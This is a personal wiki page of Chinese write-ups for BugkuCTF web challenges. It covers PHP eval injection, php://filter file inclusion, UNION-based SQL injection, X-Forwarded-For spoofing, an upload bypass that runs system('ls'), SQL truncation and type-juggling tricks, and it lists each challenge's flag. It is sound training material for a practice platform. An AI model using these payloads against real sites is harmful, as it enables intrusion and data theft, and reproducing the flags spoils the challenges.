BugkuCTF-WEB-WriteUp - Curtails's personal knowledge wiki

BugkuCTF-WEB-WriteUp

Web2

解题
打开网站如下（一片滑稽）
查看源代码
得到flag
Flag
KEY{Web-2-bugKssNNikls9100}

计算器

解题
打开网址输入结果，发现只能输入一位数字
查看元素找到maxlength
修改maxlength = 3
输入正确答案
Flag
flag{CTF-bugku-0032}

web基础$_GET

解题
打开网址
通过阅读代码得知用get提交数据即可
地址加?what=flag
打开修改后的网址

- Flag
flag{bugku_get_su8kej2en}

相关知识
$_GET

1、预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。

2、从带有 GET 方法的表单发送的信息，对任何人都是可见的（会显示在浏览器的地址栏），并且对发送信息的量也有限制。

$_POST

1、预定义的 $_POST 变量用于收集来自 method=“post” 的表单中的值。

2、从带有 POST 方法的表单发送的信息，对任何人都是不可见的（不会显示在浏览器的地址栏），并且对发送信息的量也没有限制。

web基础$_POST

解题
打开网址

阅读可知通过post提交数据
使用Firefox扩展hackbar；填写url；填写post_data为what=flag；execute

execute后

或者bp抓包改变请求方式空一行加上what=flag -foward 网页会显示flag
Flag
flag{bugku_get_ssseint67se}

矛盾

解题
打开网址

阅读可得知数据用get传参
有两个条件判断，当num不是数字或数字串(not numeric)同时num等于1时返回flag，此为矛盾。
“==”有数据类型转换，所以num取1xxx格式任意由1和字母组成的串即可。
修改地址

- Flag
flag{bugku-789-ps-ssdf}

web3

循环弹窗
- 阻止此页面创建更多对话框
- 看下源码发现<!-->注释含有& # 数字组成字符串为html编码
- 解码得flag
- KEY{J2sa42ahJK-HS11III}

域名解析

题目：听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
- 把123.206.87.240 flag.baidu.com加入host文件中
- 访问flag.baidu.com即可
- KEY{DSAHDSJ82HDS2211}

你必须让他停下

页面不断地跳
- 看源代码发现是js脚本不断刷新
- burpsuite_pro抓包分析 send to repeater逐个go
- 或者干脆禁用js 参考相应浏览器设置
- flag{dummy_game_1s_s0_popular}

本地包含

看题目猜测有本地包含漏洞

<?php
error_reporting(0);

include 'flag.php';
$a = @$_REQUEST['hello'];
eval(" var_dump( $a );");
highlight_file(__FILE__);
?>

首先包含了flag.php 其次获取helle值其次打印了变量相关信息
通过hello值构造payload打印flag.php代码?hello=1);show_source('flag.php');var_dump(3
或者?hello= 1);print_r(file("./flag.php%22")
看到flag
flag{bug-ctf-gg-99}

变量1

提示我们flag In the variable ! 看到$$args 想到全局变量GLOBALS

  <?php  
  error_reporting(0);
  include "flag1.php";
  highlight_file(__file__);
  if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
      eval("var_dump($$args);");
  }
  ?>

阅读得知preg_match("/^\w+$/",$args)输入args得满足此正则表达式
- 构造payload输出GLOBALS内容?args=GLOBALS
- flag{92853051ab894a64f7865cf3c2128b34}

web5

hint：JSPFUCK??????答案格式CTF{**}
- 看下源码含有[][(![]+[])[+[]]+([![]]+[][[]])...
- 把此代码丢进console运行
- ctf{whatfk}"

头等舱

连接是以hd.php结尾 hint：hidden提示
- 源码啥也没有抓个包
- 在response-raw中看到了flag
- flag{Bugku_k8_23s_istra}

网站被黑

一个被黑的网页 hint：链接以webshell结尾
- 用脚本扫一下看到http://123.206.87.240:8002/webshell/shell.php
- 登录页面有密码抓包爆破一下
- 得到密码hack登录
- flag{hack_bug_ku035}

管理员系统

随便输入账号密码提示：IP禁止访问，请联系本地管理员登陆，IP已被记录.
hint：本地管理员
- 查看源码有注释base64竟然在最底下中间空了很大空白
- 解码得test123
- X-Forwarded-For
- 伪造xff头X-Forwarded-For: 127.0.0.1添加到raw中
- go raw中出现flag
- The flag is: 85ff2ee4171396724bae20c0bd851f6b

web4

hint：看看源代码
- 查看源码两个变量p1 p2是由% 数字组成的字符串还有额外类似字符串代码提示unescape 为escape编码
- 解码按照代码提示合并得

  function checksubmit(){
    var a=document.getelementbyid("password");
    if("undefined"!=typeof a){
      if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
        return!0;
      alert("error");
      a.focus(); 
      return!1
        }
      }
      document.getelementbyid("levelquest").onsubmit=checksubmit;

代码意思大致是password=67d709b2b54aa2aa648cf6e87a7114f1
输入字符串
KEY{J22JK-HS11}

flag在index里

标题提示index 看下源码没提示猜测index.php里flag
- 文件包含漏洞利用php://filter读取base64编码源码后的代码
- 构造payloadindex.php?file=php://filter/convert.base64-encode/resource=index.php
- 解码阅读源码看到flag
- flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

url=http://123.206.87.240:8002/baopo/ hint：爆破
密码五位数
- 密码13579 登录
- baopo好慢..
- flag{bugku-baopo-hah}

点击一百万次

打开好像让我们点击一百万次
- 看源码js确实从0开始修改变量初始值为999999
- 用harkbar修改clicks=1000001
- flag{bugku-baopo-hah}

备份是个好习惯

打开网址得hex代码转换成ASCII失败应该不是hex
hint：备份

用py扫一下目录得到 http://123.206.87.240:8002/web16/index.php.bak
下载打开

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);  
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
  echo $flag."取得flag";
}
?>

大致意思是读取url参数并且把字符key去掉md5($key1) == md5($key2) && $key1 !== $key2条件满足后输出flag
kekeyy代替key
第一个方法
mad无法处理数组默认返回null
?kekeyy[]=something&kekeyy[]=anything
第二个方法：
两个字符经MD5加密后的值为 0exxxxx形式，就会被认为是科学计数法，且表示的是0*10的xxxx次方，还是零，都是相等的
所以找出加密后0e开头的字符串
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
?kekeyy1=240610708&kekeyy2=QNKCDZO
Bugku{OH_YOU_FIND_MY_MOMY}

成绩单查询

标准sql注入题

hackbar注入id=1'# 成功
判断列数id=1' order by 4#四列，五列测试不对
联合查询id=0' union select 1,2,3,4#z成功
查询id=0' union select 1,database(),user(),version()#
看到数据库名称含有flag
skctf_flag skctf_flag@localhost 5.5.34-log
查询表名 id=0' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='skctf_flag')#得到表名fl4g
查询表的列名id=0'union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')#得出列skctf_flag
查询数据id=0' union select 1,2,3,(select skctf_flag from fl4g)#
BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机

题目：亲请在2s内计算老司机的车速是多少
14531885551120505522035911046+129564843-990655641108015551826101406-742934982+1688885834-387627083+502307721=?;
车速太快人不行了借助py

看看前辈 https://www.jianshu.com/p/b0a5d72c8bae

  #改一下url
  import requests
  import re
  url = 'http://120.24.86.145:8002/qiumingshan/'
  s = requests.Session()
  source = s.get(url)
  expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
  result = eval(expression)
  post = {'value': result}
  print(s.post(url, data = post).text)

跑了好几次
Bugku{YOU_DID_IT_BY_SECOND}

速度要快

打开网页：我感觉你得快点!!!
- 看源码有注释
- 抓包看一下raw中有base64 解码后验证不是flag
- 每一次go base64都不一样
- 写脚本

  #coding:utf-8
  import requests
  import base64

  url='http://123.206.87.240:8002/web6/'
  s=requests.Session()
  header=s.get(url).headers
  #print(header)
  flag = base64.b64decode(base64.b64decode(header['flag']).decode() .split(':')[1]).decode() #对其进行base64两次解密

  data={'margin':flag}

  print(s.post(url=url,data=data).content.decode())

KEY{111dd62fcd377076be18a}

cookies欺骗

打开网址 url=http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
- 好像有base64 解码得keys.txt
- 尝试用filename访问index.php（原url使用base64，这也将index.php进行编码aW5kZXgucGhw
- 构造 http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
- 显示信息切换行数都有写脚本获取全部代码

  import requests
  a=30
  for i in range(a):
      url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
      s=requests.get(url)
      print s.text

得到源代码

  <?php
  error_reporting(0);
  $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
  $line=isset($_GET['line'])?intval($_GET['line']):0;
  if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
  $file_list = array(
  '0' =>'keys.txt',
  '1' =>'index.php',
  );
  if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
  $file_list[2]='keys.php';
  }
  if(in_array($file, $file_list)){
  $fa = file($file);
  echo $fa[$line];
  }
  ?>

阅读得知cookie margin=margin
抓包raw加上Cookie: margin=margin 修改filename=a2V5cy5waHA= 然后go
KEY{key_keys}

never give up

url=http://123.206.87.240:8006/test/hello.php
显示：never never never give up !!!
- 源码提1p.html 访问 123.206.87.240:8006/test/1p.html结果跳转bugku论坛
- 看一下这1p.html源码 view-source:http://123.206.87.240:8006/test/1p.html
- Words变量的值先url解码，再base64解码，再url解码

  ";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}
?>

看到f4l2a3g.txt 这个竟然能直接访问 http://123.206.87.240:8006/test/f4l2a3g.txt
flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

挂了

过狗一句话

挂了

字符？正则？

.                                  匹配除 "\n" 之外的任何单个字符

*                                 匹配它前面的表达式0次或多次，等价于{0,}

{4,7}                           最少匹配 4 次且最多匹配 7 次，结合前面的 . 也就是匹配 4 到 7 个任意字符

\/                                匹配 / ，这里的 \ 是为了转义

[a-z]                           匹配所有小写字母

[:punct:]                     匹配任何标点符号

/i                                表示不分大小写

payload?id=keykeyaaaakey:/a/keyz;
KEY{0x0SIOPh550afc}

前女友(SKCTF)

打开网址查看源代码发现code.txt
- 根据代码构造payloadhttp://123.206.31.85:49162/index.php?v1[]=a&v2[]=b&v3[]=10
- 题目类似备份是个好习惯
- SKCTF{Php_1s_tH3_B3St_L4NgUag3}

login1(SKCTF)

hint:SQL约束攻击打开网址一个管理系统登录页面
可以注册登录账号后显示：不是管理员还想看flag？！
注册账号admin 显示账号已存在
- 看看这篇文章https://www.freebuf.com/articles/web/124537.html
- 大致两点信息-
- sql有字符串约束条件例如最长15字符输入字符16的字符串只会存储前字符15
- sql处理字符串默认修建空格 "abc"=="abc "
- 所以我们注册"admin " 在用这个账户登录即可
- SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

你从哪里来

url=http://123.206.87.240:9009/from.php
显示areyoufrom google?
- 抓包添加refererReferer: https://www.google.com -go
- 或者直接在hackbar里添加referer
- HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。
- flag{bug-ku_ai_admin}

md5 collision(NUPT_CTF)

url=http://123.206.87.240:9009/md5.php
显示：please input a
hint：md5 collision MD5碰撞
- 所以分析我们要传入参数a a值为MD5加密后0e开头
- 抓包在md5.php加上get参数？a=s155964671a
- go 看到flag
- 最好抓包分析一下传参方式
- flag{md5_collision_is_easy}

程序员本地网站

hint：请从本地访问
这道题很前面那道管理员系统类似构造xff
- 抓包添加X-Forwarded-For: 127.0.0.1 -go
- flag{loc-al-h-o-st1}

各种绕过

题目：各种绕过呦打开url看见代码如下算是一道代码审计

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])
        print 'passwd can not be uname.';
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET
                                                  ['id']=='margin'))
        die('Flag: '.$flag);
    else
        print 'sorry!';
}
?>

阅读可知三个参数uname id passwd 前两个get传参后者post
阅读代码 uname不能和passwd相等但要满足sha1二者值相等想当然想到了MD5类似
构造数组
构造payload?uname[]=0&id=margin 同时用hackbar输入postdatapasswd[]=1
flag{HACK_45hhs_213sDD}

web8

题目：txt？？？打开url 又是一道代码审计 hint:flag.txt

<?php
extract($_GET);
if (!empty($ac))
{
  $f = trim(file_get_contents($fn));
  if ($ac === $f)
  {
    echo "<p>This is flag:" ." $flag</p>";
  }
  else
  {
    echo "<p>sorry!</p>";
  }
}
?>

根据hint 访问http://123.206.87.240:8002/web8/flag.txt 显示文本flags
阅读代码可知f为fn的内容 ac===f时输出flag
构造payload?ac=flas&fn=flag.txt
flag{3cfb7a90fc0de31}

细心

题目：想办法变成admin
打开一看还以为题目挂了然而看下http 是200
- 看下源码啥也没有好久没扫了发现有robots.txt

User-agent: *
Disallow: /resusl.php

访问resusl.php 提示if ($_GET[x]==$password) 此处省略1w字
结合admin提示？?x=admin成功了？？
flag(ctf_0098_lkji-s)

求getshell

题目很明显打开显示My name is margin,give me a image file not a php
可以上传文件不让我上传php？我偏不
- 抓包上传一个1.php
- Content-Type的multipart/form-data 任意字符改成大写绕过
- Content-Type改成image/jpg
- filename=1.php5
- go可拿到key
- KEY{bb35dc123820e}

INSERT INTO注入

这是一个神奇的登陆框

多次

PHP_encrypt_1(ISCCCTF)

文件包含2

hint：文件包含
- 看源码发现upload.php file=upload.php
- 可以上传文件显示请上传jpgpnggif格式文件
- 构造文件打印出目录文件名

<script language=php>system("ls")</script>

保存为1.php;.jpg 上传成功
- 根据网页显示访问 ?file=upload/201908230711481901.jpg
- 显示about hello.php index.php this_is_th3_F14g_154f65sd4g35f4d6f43.txt upload upload.php
- 看到txt文件访问http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt得出key
- SKCTF{uP104D_1nclud3_426fh8_is_Fun}